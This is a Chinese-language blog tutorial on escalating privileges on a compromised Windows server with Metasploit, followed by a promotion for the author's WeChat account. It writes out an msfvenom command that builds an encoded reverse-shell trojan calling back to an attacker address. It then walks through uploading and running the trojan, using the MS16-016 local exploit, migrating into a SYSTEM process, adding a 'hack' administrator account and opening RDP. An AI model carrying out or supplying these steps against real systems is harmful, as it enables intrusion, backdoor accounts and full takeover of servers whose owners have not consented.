MSF提权

在WEB渗透中当我们拿到webshell了，我们可以试试用MSF(metasploit)来进行提权，在MSF里meterpreter很强大的！

我们先用msfvenom生成一个EXE的木马后门。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe

img

然后在到MSF根据刚才配置的木马后门进行监听...

然后在把木马上传到服务器（受害者）的机器里，必须上传到可读可写的目录下

img

比如这里我吧abc.exe上传到了C:\users\leak\desktop\目录下，

abc.exe就是我刚才生成的后门。

img

然后在执行我们的后门，可以看见MSF弹回了一个session 1(会话连接)。

说明我们后门程序成功执行起来了，当然你也可以在webshell执行的，

但必须的有一点执行的权限

img

getuid //可以看见我们的权限很低的，一般都是user权限的，

但也遇到过某些服务器执行后就直接是system最高权限。像这种我们就直接加用户啦。

这里我们是user权限，我们要把它提升到system权限。Windows最高权限

img

接着我们输入命令

background //把你当前的metasploit shell转为后台执行。

search ms16 // 搜索关键字相关的漏洞

.....然后我选择了MS16-016这个漏洞在进行提权

use exploit/windows/local/ms16_016_webdav // 选择漏洞

img

show options //查看漏洞里边要设置的参数

可以看见只有一个SESSION参数要设置

img

set SESSION 1 // 设置会刚才我们后门连接的ID号 1

exploit //执行提权...

可以看见成功的吧漏洞利用到了PID为692的进程中...

虽然提权成功了 但你getuid下还是看见的是user权限

img

ps一下查看进程

根据刚才的提示找到PID 692的进程

可以看见确实是system权限

img

所以我们还要用到migrate 命令 //迁移到一个指定的进程ID。

migrate 692 //

在getuid下可以看见为system权限啦

提权成功了

img

既然有了system权限 那我们在添加账号hack

添加为管理员组

img

用Nmap扫下并没有开启远程登陆3389

img

run getgui -e //开启目标主机3389 貌似这条MSF命令只对2003的系统有效 执行几次都没成功

所以就用cmd命令开了3389端口

img

提权成功，登录服务器。。。

写在最后

如果你觉得冰河写的还不错，请微信搜索并关注「 冰河技术 」微信公众号，跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术，「 冰河技术 」微信公众号更新了大量技术专题，每一篇技术文章干货满满！不少读者已经通过阅读「 冰河技术 」微信公众号文章，吊打面试官，成功跳槽到大厂；也有不少读者实现了技术上的飞跃，成为公司的技术骨干！如果你也想像他们一样提升自己的能力，实现技术能力的飞跃，进大厂，升职加薪，那就关注「 冰河技术 」微信公众号吧，每天更新超硬核技术干货，让你对如何提升技术能力不再迷茫！